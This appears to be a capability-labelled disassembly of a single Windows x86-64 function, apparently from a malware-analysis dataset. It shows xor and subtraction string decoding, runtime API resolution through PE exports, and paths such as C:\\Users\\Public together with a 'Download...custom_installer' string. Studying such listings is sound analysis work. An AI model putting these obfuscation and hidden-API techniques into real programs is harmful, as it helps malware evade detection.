Function at 0x2b36b83f0
Capabilities:
Accept command line arguments
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x788
movaps xmmword [rsp + 0x750], xmm6
movaps xmmword [rsp + 0x760], xmm7
movaps xmmword [rsp + 0x770], xmm8
call fcn.2b36578f0
mov ebx, eax
call fcn.2b365d5c0
test ebx, ebx
je 0x2b36b8434
test eax, eax
je 0x2b36bbf7b
mov ecx, 0x18
call fcn.2b3752130
pxor xmm0, xmm0
movabs rdx, 0x5257464855484762
mov dword [rsp + 0x1b0], 0x285c55
movups xmmword [rax], xmm0
movdqa xmm0, xmmword [str._FXUUHQWbGHUHFWRC:UsersPublic_]
mov qword [rsp + 0xb0], rax
mov qword [rax + 0x10], 0
movabs rax, 0x5751485555584628
mov qword [rsp + 0x430], rax
xor eax, eax
mov qword [rsp + 0x438], rdx
mov dword [rsp + 0x440], 0x285c55
movaps xmmword [rsp + 0x1a0], xmm0
nop dword [rax]
movzx edx, byte [rsp + rax + 0x430]
sub edx, 3
mov byte [rsp + rax + 0x430], dl
add rax, 1
cmp rax, 0x13
jne 0x2b36b84a8
lea rax, [rsp + 0x540]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x550]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x430]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x3a0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x2b36ba8f6
cmp rax, 1
jne 0x2b36b8950
movzx eax, byte [rsp + 0x430]
mov byte [rsp + 0x550], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x548], rbx
lea r12, [rsp + 0x350]
lea rsi, [rsp + 0x570]
mov dword [rsp + 0x350], 0x63766366
mov rcx, r12
mov byte [rsp + 0x354], 0
movzx edi, byte [rsp + 0x350]
mov byte [rax + rbx], 0
sub edi, 2
mov byte [rsp + 0x10c], 0
mov byte [rsp + 0x350], dil
movzx eax, byte [rsp + 0x351]
mov dword [rsp + 0x108], 0x63766366
sub eax, 2
mov qword [rsp + 0x560], rsi
mov byte [rsp + 0x351], al
movzx eax, byte [rsp + 0x352]
sub eax, 2
mov byte [rsp + 0x352], al
movzx eax, byte [rsp + 0x353]
sub eax, 2
mov byte [rsp + 0x353], al
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x3a0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x2b36ba8a3
cmp rax, 1
jne 0x2b36ba892
mov byte [rsp + 0x570], dil
mov rax, rsi
mov qword [rsp + 0x568], rbx
pxor xmm0, xmm0
mov ecx, 0x40
mov byte [rax + rbx], 0
mov qword [rsp + 0x230], 0
movaps xmmword [rsp + 0x220], xmm0
call fcn.2b3752130
mov r12, qword [rsp + 0x540]
lea rcx, [rax + 0x10]
lea rdi, [rax + 0x40]
mov rbx, qword [rsp + 0x548]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x220], rax
mov qword [rax], rcx
mov rax, r12
add rax, rbx
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x230], rdi
je 0x2b36b866a
test r12, r12
je 0x2b36bbf17
mov qword [rsp + 0x3a0], rbx
cmp rbx, 0xf
ja 0x2b36ba968
cmp rbx, 1
je 0x2b36ba948
test rbx, rbx
jne 0x2b36ba992
mov rax, qword [rsp + 0x60]
mov qword [rax + 8], rbx
lea r13, [rax + 0x20]
mov byte [rcx + rbx], 0
mov r12, qword [rsp + 0x560]
lea rcx, [rax + 0x30]
mov rbx, qword [rsp + 0x568]
mov qword [rax + 0x20], rcx
mov rax, r12
add rax, rbx
je 0x2b36b86c9
test r12, r12
je 0x2b36bbf1c
mov qword [rsp + 0x3a0], rbx
cmp rbx, 0xf
ja 0x2b36ba9b2
cmp rbx, 1
jne 0x2b36ba95a
movzx eax, byte [r12]
mov rdi, qword [rsp + 0x60]
mov byte [rdi + 0x30], al
mov rax, qword [rsp + 0x60]
mov qword [rax + 0x28], rbx
mov rax, qword [rsp + 0x80]
mov byte [rcx + rbx], 0
mov rcx, qword [rsp + 0x560]
mov qword [rsp + 0x228], rax
cmp rcx, rsi
je 0x2b36b872d
mov rax, qword [rsp + 0x570]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36b874d
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov ecx, 0x40
mov qword [rsp + 0x3b0], 0
call fcn.2b3752130
lea rcx, [rax + 0x10]
movq xmm0, rax
lea rdi, [rax + 0x40]
mov r14, rax
mov qword [rax], rcx
mov rax, qword [rsp + 0x60]
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x3b0], rdi
mov r12, qword [rax]
mov rbx, qword [rax + 8]
movaps xmmword [rsp + 0x3a0], xmm0
mov rax, r12
add rax, rbx
je 0x2b36b87a7
test r12, r12
je 0x2b36bbf28
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36baabf
cmp rbx, 1
je 0x2b36baa66
test rbx, rbx
jne 0x2b36baae1
mov rax, qword [rsp + 0x60]
mov qword [r14 + 8], rbx
lea r13, [r14 + 0x20]
mov byte [rcx + rbx], 0
lea rcx, [r14 + 0x30]
mov r12, qword [rax + 0x20]
mov rbx, qword [rax + 0x28]
mov qword [r14 + 0x20], rcx
mov rax, r12
add rax, rbx
je 0x2b36b87fe
test r12, r12
je 0x2b36bbf2b
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36baa80
cmp rbx, 1
jne 0x2b36baa74
movzx eax, byte [r12]
mov byte [r14 + 0x30], al
mov qword [r14 + 0x28], rbx
mov byte [rcx + rbx], 0
mov ecx, 0x60
mov qword [rsp + 0x3a8], rdi
call fcn.2b3752130
mov dword [rax + 8], 0
mov rbp, rax
lea rax, [rax + 0x20]
pxor xmm0, xmm0
mov qword [rsp + 0x88], rax
mov ecx, 0x40
mov qword [rbp + 0x10], rax
lea rax, [0x2b3765ad0]
mov qword [rbp], rax
lea rax, [rbp + 0x50]
mov qword [rbp + 0x18], 0
mov byte [rbp + 0x20], 0
mov qword [rbp + 0x30], 0
mov dword [rbp + 0x38], 0
mov byte [rbp + 0x3c], 0
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 0
mov byte [rbp + 0x50], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x440], 0
movaps xmmword [rsp + 0x430], xmm0
call fcn.2b3752130
movq xmm0, rax
mov r15, rax
lea rax, [rax + 0x40]
mov rsi, r14
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x440], rax
mov r12, r15
movaps xmmword [rsp + 0x430], xmm0
jmp 0x2b36b890c
movzx eax, byte [r13]
mov byte [r12 + 0x10], al
add rsi, 0x20
mov qword [r12 + 8], rbx
add r12, 0x20
mov byte [rcx + rbx], 0
cmp rdi, rsi
je 0x2b36b89b0
mov r13, qword [rsi]
mov rbx, qword [rsi + 8]
lea rcx, [r12 + 0x10]
mov qword [r12], rcx
mov rax, r13
add rax, rbx
je 0x2b36b892d
test r13, r13
je 0x2b36bbf37
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36b8968
cmp rbx, 1
je 0x2b36b88e8
test rbx, rbx
je 0x2b36b88f2
jmp 0x2b36b898c
test rax, rax
jne 0x2b36bbf43
mov rax, qword [rsp + 0x50]
jmp 0x2b36b852e
mov rdx, qword [rsp + 0x48]
xor r8d, r8d
mov rcx, r12
call fcn.2b373f4c0
mov qword [r12], rax
mov rcx, rax
mov rax, qword [rsp + 0x540]
mov qword [r12 + 0x10], rax
mov r8, rbx
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x540]
mov rcx, qword [r12]
jmp 0x2b36b88f2
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x438], r12
call fcn.2b36b6d00
mov rcx, qword [rbp + 0x40]
mov rax, qword [rsp + 0x540]
mov r8, qword [rsp + 0x548]
cmp rax, qword [rsp + 0x50]
je 0x2b36baafc
mov rdx, qword [rsp + 0x550]
movq xmm0, r8
movq xmm2, rdx
punpcklqdq xmm0, xmm2
cmp qword [rsp + 0x70], rcx
je 0x2b36bbccc
mov r9, qword [rbp + 0x50]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], r8
mov qword [rbp + 0x50], rdx
test rcx, rcx
je 0x2b36bbcd4
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x550], r9
mov qword [rsp + 0x548], 0
mov byte [rcx], 0
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36b8a5f
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov rbx, qword [rsp + 0x438]
mov r12, qword [rsp + 0x430]
cmp rbx, r12
je 0x2b36b8aa9
nop dword [rax]
mov rcx, qword [r12]
lea rax, [r12 + 0x10]
cmp rcx, rax
je 0x2b36ba750
mov rax, qword [r12 + 0x10]
add r12, 0x20
lea rdx, [rax + 1]
call fcn.2b37520f0
cmp rbx, r12
jne 0x2b36b8a78
mov r12, qword [rsp + 0x430]
test r12, r12
je 0x2b36b8ac1
mov rdx, qword [rsp + 0x440]
mov rcx, r12
sub rdx, r12
call fcn.2b37520f0
mov rbx, r14
nop dword [rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x2b36ba738
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + 1]
call fcn.2b37520f0
cmp rdi, rbx
jne 0x2b36b8ac8
mov rcx, r14
mov edx, 0x40
call fcn.2b37520f0
mov byte [rsp + 0x279], 0
mov dword [rsp + 0x430], 0x17
mov eax, dword [rsp + 0x430]
mov r14d, dword [rsp + 0x430]
mov r11d, dword [rsp + 0x430]
mov ebx, dword [rsp + 0x430]
mov esi, dword [rsp + 0x430]
mov dword [rsp + 0xd0], eax
mov edi, dword [rsp + 0x430]
add r11d, 2
add r14d, 1
mov ecx, dword [rsp + 0x430]
add esi, 4
add ebx, 3
movzx r11d, r11b
movzx r14d, r14b
mov eax, dword [rsp + 0x430]
add edi, 5
movzx esi, sil
movzx ebx, bl
mov r13d, dword [rsp + 0x430]
mov dword [rsp + 0xcc], ecx
movzx edi, dil
mov r12d, dword [rsp + 0x430]
mov ecx, dword [rsp + 0x430]
add eax, 7
movzx eax, al
add r13d, 8
mov dword [rsp + 0x70], ecx
mov ecx, dword [rsp + 0x430]
add r12d, 9
shl rax, 8
mov r8d, dword [rsp + 0x430]
mov r9d, dword [rsp + 0x430]
mov r10d, dword [rsp + 0x430]
mov r15d, dword [rsp + 0x430]
add ecx, 0xb
mov edx, dword [rsp + 0x430]
add r9d, 0xd
add r8d, 0xc
movzx ecx, cl
add r10d, 0xe
movzx r9d, r9b
movzx r8d, r8b
mov dword [rsp + 0xc8], edx
mov edx, dword [rsp + 0x430]
movzx r10d, r10b
mov dword [rsp + 0xc4], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xc0], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xbc], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xb8], edx
mov edx, dword [rsp + 0x430]
mov dword [rsp + 0xa8], edx
mov edx, dword [rsp + 0x430]
mov byte [rsp + 0xd4], r12b
lea r12d, [r15 + 0xf]
movdqa xmm8, xmmword [0x2b3759bf0]
mov dword [rsp + 0xa0], edx
mov edx, dword [rsp + 0x430]
movzx r12d, r12b
movq xmm6, qword [0x2b3759c00]
shl r12, 8
movq xmm7, qword [str.Downloadef24cb35dad2a18ba31eae9c8582d5c6jj7hi59_j4ef_5h7_fjh_5:i_fefii957:_75_5g9fj__i_gif5ggie6_iNSHFHO_MHORU_MMcustom_installer]
mov dword [rsp + 0x90], edx
mov edx, dword [rsp + 0x430]
or r12, r10
shl r12, 8
mov dword [rsp + 0x88], edx
movzx edx, byte [rsp + 0xcc]
or r12, r9
add edx, 6
mov byte [rsp + 0xcc], dl
movzx edx, byte [rsp + 0x70]
movzx r15d, byte [rsp + 0xcc]
add edx, 0xa
or rax, r15
movzx edx, dl
shl rax, 8
or rax, rdi
shl rax, 8
or rax, rsi
shl rax, 8
or rax, rbx
shl rax, 8
or rax, r11
movzx r11d, byte [rsp + 0xd0]
shl rax, 8
or rax, r14
shl rax, 8
shl r12, 8
or r12, r8
or rax, r11
shl r12, 8
mov qword [rsp + 0x70], rax
movzx eax, byte [rsp + 0x90]
or r12, rcx
shl r12, 8
shl rax, 8
or r12, rdx
movzx edx, byte [rsp + 0xd4]
shl r12, 8
or r12, rdx
movzx edx, r13b
shl r12, 8
or r12, rdx
movzx edx, byte [rsp + 0xa0]
mov qword [rsp + 0x78], r12
movdqa xmm0, xmmword [rsp + 0x70]
or rax, rdx
movzx edx, byte [rsp + 0xa8]
shl rax, 8
pxor xmm0, xmm8
or rax, rdx
movzx edx, byte [rsp + 0xb8]
movdqa xmm1, xmm0
movaps xmmword [rsp + 0x260], xmm0
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xbc]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xc0]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xc4]
shl rax, 8
or rax, rdx
movzx edx, byte [rsp + 0xc8]
shl rax, 8
or rax, rdx
movq xmm0, rax
movzx eax, byte [rsp + 0x88]
paddb xmm0, xmm6
add eax, 0x18
xor eax, 0x73
pxor xmm0, xmm7
mov byte [rsp + 0x278], al
movq qword [rsp + 0x270], xmm0
movups xmmword [rsp + 0x434], xmm1
movzx eax, word [rsp + 0x278]
movq qword [rsp + 0x444], xmm0
mov word [rsp + 0x44c], ax
xor eax, eax
nop dword [rax]
movzx ecx, byte [rsp + rax + 0x434]
mov edx, dword [rsp + 0x430]
add edx, eax
xor edx, ecx
mov byte [rsp + rax + 0x434], dl
add rax, 1
cmp rax, 0x19
jne 0x2b36b8e10
mov rax, qword [rsp + 0x50]
mov byte [rsp + 0x44d], 0
mov qword [rsp + 0x540], rax
lea rax, [rsp + 0x434]
mov rcx, rax
mov qword [rsp + 0xa8], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x3a0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x2b36baa11
cmp rax, 1
jne 0x2b36ba9fe
movzx eax, byte [rsp + 0x434]
mov byte [rsp + 0x550], al
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x548], rbx
pxor xmm0, xmm0
mov ecx, 0x20
mov byte [rax + rbx], 0
mov qword [rsp + 0x250], 0
movaps xmmword [rsp + 0x240], xmm0
call fcn.2b3752130
mov r12, qword [rsp + 0x540]
mov r15, rax
lea rsi, [rax + 0x20]
mov qword [rsp + 0x240], rax
mov rbx, qword [rsp + 0x548]
lea rax, [rax + 0x10]
mov qword [rsp + 0x250], rsi
mov qword [rsp + 0x88], rax
mov qword [r15], rax
mov rax, r12
add rax, rbx
je 0x2b36b8f09
test r12, r12
je 0x2b36bc17e
mov qword [rsp + 0x3a0], rbx
cmp rbx, 0xf
ja 0x2b36ba7a0
cmp rbx, 1
jne 0x2b36ba780
movzx eax, byte [r12]
mov byte [r15 + 0x10], al
mov rax, qword [rsp + 0x88]
mov qword [r15 + 8], rbx
mov qword [rsp + 0x248], rsi
mov byte [rax + rbx], 0
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36b8f70
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
nop word cs:[rax + rax]
pxor xmm0, xmm0
mov ecx, 0x20
movups xmmword [rsp + 0x3a8], xmm0
call fcn.2b3752130
mov r12, qword [r15]
mov r13, rax
lea rsi, [rax + 0x20]
movq xmm0, rax
mov rbx, qword [r15 + 8]
lea rax, [rax + 0x10]
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x3b0], rsi
mov qword [rsp + 0x90], rax
mov qword [r13], rax
mov rax, r12
add rax, rbx
movaps xmmword [rsp + 0x3a0], xmm0
je 0x2b36b8fce
test r12, r12
je 0x2b36bbf4d
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36ba800
cmp rbx, 1
jne 0x2b36ba7e0
movzx eax, byte [r12]
mov byte [r13 + 0x10], al
mov rax, qword [rsp + 0x90]
mov qword [r13 + 8], rbx
mov ecx, 0x60
mov byte [rax + rbx], 0
mov qword [rsp + 0x3a8], rsi
call fcn.2b3752130
mov r12, rax
lea rdi, [rax + 0x20]
mov byte [rax + 0x20], 0
pxor xmm0, xmm0
mov qword [rax + 0x10], rdi
lea rsi, [r12 + 0x50]
mov ecx, 0x20
mov dword [rax + 8], 0
mov qword [rax + 0x18], 0
mov qword [rax + 0x30], 0
mov dword [rax + 0x38], 0
mov byte [rax + 0x3c], 0
lea rax, [0x2b3765ad0]
mov qword [r12], rax
mov qword [r12 + 0x40], rsi
mov qword [r12 + 0x48], 0
mov byte [r12 + 0x50], 0
mov qword [rsp + 0x440], 0
movaps xmmword [rsp + 0x430], xmm0
call fcn.2b3752130
mov r14, rax
lea rax, [rax + 0x20]
mov rbx, qword [r13 + 8]
mov qword [rsp + 0x70], rax
movq xmm0, r14
lea rcx, [r14 + 0x10]
mov qword [rsp + 0x440], rax
mov rax, qword [r13]
punpcklqdq xmm0, xmm0
mov qword [r14], rcx
mov rdx, rax
mov qword [rsp + 0xa0], rax
add rdx, rbx
movaps xmmword [rsp + 0x430], xmm0
je 0x2b36b90d9
test rax, rax
je 0x2b36bc18a
mov qword [rsp + 0x540], rbx
cmp rbx, 0xf
ja 0x2b36ba850
cmp rbx, 1
jne 0x2b36ba840
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax]
mov byte [r14 + 0x10], al
mov rax, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov qword [r14 + 8], rbx
mov byte [rcx + rbx], 0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x438], rax
call fcn.2b36b6d00
mov rcx, qword [r12 + 0x40]
mov rax, qword [rsp + 0x540]
mov r8, qword [rsp + 0x548]
cmp rax, qword [rsp + 0x50]
je 0x2b36bbc17
mov rdx, qword [rsp + 0x550]
movq xmm0, r8
movq xmm5, rdx
punpcklqdq xmm0, xmm5
cmp rsi, rcx
je 0x2b36bbd02
mov r9, qword [r12 + 0x50]
mov qword [r12 + 0x40], rax
mov qword [r12 + 0x48], r8
mov qword [r12 + 0x50], rdx
test rcx, rcx
je 0x2b36bbd0d
mov qword [rsp + 0x540], rcx
mov qword [rsp + 0x550], r9
mov qword [rsp + 0x548], 0
mov byte [rcx], 0
mov rcx, qword [rsp + 0x540]
cmp rcx, qword [rsp + 0x50]
je 0x2b36b91c3
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov rbx, qword [rsp + 0x438]
mov r12, qword [rsp + 0x430]
cmp rbx, r12
je 0x2b36b9211
nop dword [rax + rax]
mov rcx, qword [r12]
lea rax, [r12 + 0x10]
cmp rcx, rax
je 0x2b36ba768
mov rax, qword [r12 + 0x10]
add r12, 0x20
lea rdx, [rax + 1]
call fcn.2b37520f0
cmp rbx, r12
jne 0x2b36b91e0
mov r12, qword [rsp + 0x430]
test r12, r12
je 0x2b36b9229
mov rdx, qword [rsp + 0x440]
mov rcx, r12
sub rdx, r12
call fcn.2b37520f0
mov rcx, qword [r13]
cmp qword [rsp + 0x90], rcx
je 0x2b36b9244
mov rax, qword [r13 + 0x10]
lea rdx, [rax + 1]
call fcn.2b37520f0
mov edx, 0x20
mov rcx, r13
call fcn.2b37520f0
mov rax, qword [rbp]
lea rdx, [0x2b36b7d30]
mov rax, qword [rax]
cmp rax, rdx
jne 0x2b36bbd30
xor eax, eax
mov ecx, 0x1e
mov r12, qword [rbp + 0x40]
lea r13, [rbp + 0x38]
lea rdi, [rsp + 0x440]
mov dword [rsp + 0x1c0], 0x6e
mov esi, dword [rsp + 0x1c0]
mov qword [rsp + 0x430], 0
movq xmm0, qword [0x2b3759af8]
mov qword [rsp + 0x438], 0
movzx esi, sil
rep stosq qword [rdi], rax
mov ecx, dword [rsp + 0x1c0]
mov r8d, dword [rsp + 0x1c0]
mov byte [rsp + 0x15b], 0
mov r9d, dword [rsp + 0x1c0]
mov r10d, dword [rsp + 0x1c0]
mov r11d, dword [rsp + 0x1c0]
add r8d, 2
add ecx, 1
mov ebx, dword [rsp + 0x1c0]
add r10d, 4
add r9d, 3
movzx r8d, r8b
movzx ecx, cl
add ebx, 6
add r11d, 5
movzx r10d, r10b
movzx r9d, r9b
mov eax, dword [rsp + 0x1c0]
movzx ebx, bl
movzx r11d, r11b
mov edx, dword [rsp + 0x1c0]
mov dword [rdi], 0
mov edi, dword [rsp + 0x1c0]
add eax, 7
add edx, 8
mov r14d, dword [rsp + 0x1c0]
movzx eax, al
xor edx, 0x6e
shl rax, 8
or rax, rbx
xor ebx, ebx
shl rax, 8
mov bl, dl
or rax, r11
shl rax, 8
or rax, r10
shl rax, 8
or rax, r9
shl rax, 8
or rax, r8
shl rax, 8
or rax, rcx
lea rcx, [rsp + 0x194]
shl rax, 8
or rax, rsi
movq xmm3, rax
lea eax, [rdi + 9]
xor eax, 0x64
pxor xmm3, xmm0
movq qword [rsp + 0x1c4], xmm3
mov bh, al
lea eax, [r14 + 0xa]
xor eax, 0x41
mov word [rsp + 0x158], bx
mov byte [rsp + 0x15a], al
mov eax, dword [rsp + 0x158]
movq qword [rsp + 0x150], xmm3
mov dword [rsp + 0x1cc], eax
movzx eax, byte [rsp + 0x1c4]
mov edx, dword [rsp + 0x1c0]
xor eax, edx
mov byte [rsp + 0x1c4], al
movzx edx, byte [rsp + 0x1c5]
mov eax, dword [rsp + 0x1c0]
add eax, 1
xor eax, edx
mov byte [rsp + 0x1c5], al
movzx edx, byte [rsp + 0x1c6]
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x168], 0x282820
add eax, 2
xor eax, edx
mov byte [rsp + 0x1c6], al
movzx edx, byte [rsp + 0x1c7]
mov eax, dword [rsp + 0x1c0]
add eax, 3
xor eax, edx
mov byte [rsp + 0x1c7], al
movzx edx, byte [rsp + 0x1c8]
mov eax, dword [rsp + 0x1c0]
add eax, 4
xor eax, edx
mov byte [rsp + 0x1c8], al
movzx edx, byte [rsp + 0x1c9]
mov eax, dword [rsp + 0x1c0]
add eax, 5
xor eax, edx
mov byte [rsp + 0x1c9], al
movzx edx, byte [rsp + 0x1ca]
mov eax, dword [rsp + 0x1c0]
add eax, 6
xor eax, edx
mov byte [rsp + 0x1ca], al
movzx edx, byte [rsp + 0x1cb]
mov eax, dword [rsp + 0x1c0]
add eax, 7
xor eax, edx
mov byte [rsp + 0x1cb], al
movzx edx, byte [rsp + 0x1cc]
mov eax, dword [rsp + 0x1c0]
add eax, 8
xor eax, edx
mov byte [rsp + 0x1cc], al
movzx edx, byte [rsp + 0x1cd]
mov eax, dword [rsp + 0x1c0]
add eax, 9
xor eax, edx
mov byte [rsp + 0x1cd], al
movzx edx, byte [rsp + 0x1ce]
mov eax, dword [rsp + 0x1c0]
add eax, 0xa
xor eax, edx
mov byte [rsp + 0x1ce], al
mov rax, qword [0x2b3759b00]
mov byte [rsp + 0x1cf], 0
mov qword [rsp + 0x160], rax
movabs rax, 0x6a2d342533282c17
mov dword [rsp + 0x190], 0x44
mov qword [rsp + 0x194], rax
mov dword [rsp + 0x19c], 0x282820
movzx eax, byte [rsp + 0x194]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x194], al
movzx eax, byte [rsp + 0x195]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x195], al
movzx eax, byte [rsp + 0x196]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x196], al
movzx eax, byte [rsp + 0x197]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x197], al
movzx eax, byte [rsp + 0x198]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x198], al
movzx eax, byte [rsp + 0x199]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x199], al
movzx eax, byte [rsp + 0x19a]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x19a], al
movzx eax, byte [rsp + 0x19b]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x19b], al
movzx eax, byte [rsp + 0x19c]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x19c], al
movzx eax, byte [rsp + 0x19d]
mov edx, dword [rsp + 0x190]
xor eax, edx
mov byte [rsp + 0x19d], al
movzx eax, byte [rsp + 0x19e]
mov edx, dword [rsp + 0x190]
xor eax, edx
lea rdx, [rsp + 0x1c4]
mov byte [rsp + 0x19e], al
mov byte [rsp + 0x19f], 0
call fcn.2b3657510
mov rdi, qword [rsp + 0x68]
mov rdx, r12
mov rcx, rdi
call rax
mov rax, qword [rsp + 0x50]
mov rcx, rdi
mov qword [rsp + 0x540], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x3a0], rax
mov rbx, rax
cmp rax, 0xf
ja 0x2b36bbc54
cmp rax, 1
jne 0x2b36bab37
movzx edx, byte [rsp + 0x430]
mov byte [rsp + 0x550], dl
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x548], rax
lea rcx, [rsp + 0x304]
mov byte [rdx + rax], 0
mov rax, qword [0x2b3759b08]
mov dword [rsp + 0x280], 0x7b
mov r12, qword [rsp + 0x540]
mov qword [rsp + 0x170], rax
movabs rax, 0x123d1e0f1a1e0938
mov qword [rsp + 0x284], rax
mov dword [rsp + 0x28c], 0x3a1e17
movzx eax, byte [rsp + 0x284]
mov edx, dword [rsp + 0x280]
mov dword [rsp + 0x178], 0x3a1e17
xor eax, edx
mov byte [rsp + 0x284], al
movzx eax, byte [rsp + 0x285]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x285], al
movzx eax, byte [rsp + 0x286]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x286], al
movzx eax, byte [rsp + 0x287]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x287], al
movzx eax, byte [rsp + 0x288]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x288], al
movzx eax, byte [rsp + 0x289]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x289], al
movzx eax, byte [rsp + 0x28a]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x28a], al
movzx eax, byte [rsp + 0x28b]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x28b], al
movzx eax, byte [rsp + 0x28c]
mov edx, dword [rsp + 0x280]
mov byte [rsp + 0x18c], 0
mov dword [rsp + 0x188], 0x43434b01
xor eax, edx
mov byte [rsp + 0x28c], al
movzx eax, byte [rsp + 0x28d]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x28d], al
movzx eax, byte [rsp + 0x28e]
mov edx, dword [rsp + 0x280]
xor eax, edx
mov byte [rsp + 0x28e], al
mov rax, qword [str.DJ_AJC]
mov byte [rsp + 0x28f], 0
mov qword [rsp + 0x180], rax
movabs rax, 0x1d1c434a415d4a44
mov dword [rsp + 0x300], 0x2f
mov qword [rsp + 0x304], rax
mov dword [rsp + 0x30c], 0x43434b01
mov byte [rsp + 0x310], 0
movzx eax, byte [rsp + 0x304]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x304], al
movzx eax, byte [rsp + 0x305]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x305], al
movzx eax, byte [rsp + 0x306]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x306], al
movzx eax, byte [rsp + 0x307]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x307], al
movzx eax, byte [rsp + 0x308]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x308], al
movzx eax, byte [rsp + 0x309]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x309], al
movzx eax, byte [rsp + 0x30a]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30a], al
movzx eax, byte [rsp + 0x30b]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30b], al
movzx eax, byte [rsp + 0x30c]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30c], al
movzx eax, byte [rsp + 0x30d]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30d], al
movzx eax, byte [rsp + 0x30e]
mov edx, dword [rsp + 0x300]
xor eax, edx
mov byte [rsp + 0x30e], al
movzx eax, byte [rsp + 0x30f]
mov edx, dword [rsp + 0x300]
xor eax, edx
lea rdx, [rsp + 0x284]
mov byte [rsp + 0x30f], al
mov byte [rsp + 0x310], 0
call fcn.2b3657510
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov r8d, 1
mov rcx, r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call rax
mov rcx, rax
mov rdx, r13
call fcn.2b3695d40
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x540]
mov qword [rbp + 0x30], rax
cmp rcx, qword [rsp + 0x50]
je 0x2b36b9a13
mov rax, qword [rsp + 0x550]
lea rdx, [rax + 1]
call fcn.2b37520f0
